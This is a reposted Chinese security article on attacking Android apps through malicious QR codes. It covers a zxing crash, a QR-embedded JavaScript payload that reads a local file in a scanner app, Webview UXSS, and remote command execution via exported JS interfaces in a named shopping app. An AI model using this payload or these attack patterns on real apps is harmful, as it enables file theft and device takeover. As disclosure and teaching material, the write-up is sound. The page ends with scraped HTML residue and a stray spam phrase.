<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/mobile/10775

            0x00 前言


            現在Android App幾乎都有二維碼掃描功能,如果沒有考慮到二維碼可能存在的安全問題,將會導致掃描二維碼就會受到漏洞攻擊,嚴重的可能導致手機被控制,信息泄漏等風險。

            0x01 拒絕服務


            低版本的zxing這個二維碼庫在處理畸形二維碼時存在數組越界,導致拒絕服務。掃描下面的二維碼,可能導致主程序崩潰:

            p1

            通過程序的崩潰日志可以看出是個數組越界:

            11-23 10:39:02.535: E/AndroidRuntime(1888): FATAL EXCEPTION: Thread-14396 
            11-23 10:39:02.535: E/AndroidRuntime(1888): Process: com.xxx, PID: 1888 
            11-23 10:39:02.535: E/AndroidRuntime(1888): java.lang.ArrayIndexOutOfBoundsException: length=9; index=9 
            11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.common.BitSource.readBits(Unknown Source) 
            11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decodeAlphanumericSegment(Unknown Source) 
            11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decode(Unknown Source) 
            11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.qrcode.decoder.Decoder.decode(Unknown Source) 
            11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.qrcode.QRCodeReader.decode(Unknown Source) 
            11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.MultiFormatReader.decodeInternal(Unknown Source) 
            11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.MultiFormatReader.decodeWithState(Unknown Source) 
            

            0x02 本地文件讀取


            之前Wooyun上爆了一個利用惡意二維碼攻擊快拍的漏洞,識別出來的二維碼默認以html形式展示(Android+Iphone),可以執行html和js。將下面的js在cli.im網站上生成二維碼:

            #!js
            <script>
            x=new XMLHttpRequest(); 
            if(x.overrideMimeType) 
            x.overrideMimeType('text/xml'); 
            x.open("GET", "file://///default.prop", false); 
            x.send(null); 
            alert(x.responseText); 
            </script>
            

            p2

            用快拍掃描之后,就能讀取本地文件內容:

            p3

            0x03 UXSS


            去年,Android平臺上的Webview UXSS漏洞被吵的沸沸揚揚,由于低版本的Android系統自帶的Webview組件使用Webkit作為內核,導致Webkit的歷史漏洞就存在于Webview里面,其中就包括危害比較大的UXSS漏洞。

            Webview組件幾乎存在于所有Android App中,用來渲染網頁。如果掃描二維碼得到的結果是個網址,大部分App會直接用Webview來打開,由于Webview存在UXSS漏洞,很容易導致資金被竊、帳號被盜或者隱私泄露。漏洞介紹可參考TSRC博文:Android Webview UXSS 漏洞攻防

            p4

            0x04 遠程命令執行


            大部分Android App掃描二維碼之后,如果識別到的二維碼內容是個網址時,會直接調用Webview來進行展示。如果Webview導出了js接口,并且targetSDK是在17以下,就會受到遠程命令執行漏洞攻擊風險。

            蘇寧易購Android版掃描二維碼會用Webview打開網頁,由于蘇寧易購導出多個js接口,因此掃描二維碼即會受到遠程命令執行漏洞攻擊(最新版本已修復)。

            com.suning.mobile.ebuy.host.webview.WebViewActivity導出多個js接口:

            #!java
            this.b(this.a);
                        this.s = this.findViewById(2131494713);
                        this.d = this.findViewById(2131494100);
                        this.d.a(((BaseFragmentActivity)this));
                        this.l = new SNNativeClientJsApi(this);
                        this.d.addJavascriptInterface(this.l, "client");
                        this.d.addJavascriptInterface(this.l, "SNNativeClient");
                        this.d.addJavascriptInterface(new YifubaoJSBridge(this), "YifubaoJSBridge");
            

            由于targetSDKversion為14,因此所有Android系統版本都受影響:

            <uses-sdk
            android:minSdkVersion="8"
            android:targetSdkVersion="14"
            >
            </uses-sdk>
            

            蘇寧易購Android版首頁有個掃描二維碼的功能:

            p5

            掃描二維碼時,如果二維碼是個網頁鏈接,就會調用上面的Webview組件打開惡意網頁:

            p6

            惡意二維碼如下:

            p7

            0x05 總結


            二維碼可能攻擊的點還不止上面列的那些,發散下思維,還有zip目錄遍歷導致的遠程代碼執行漏洞,還有sql注入漏洞,說不定還有緩沖區溢出漏洞。思想有多遠,攻擊面就有多寬!Have Fun!

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线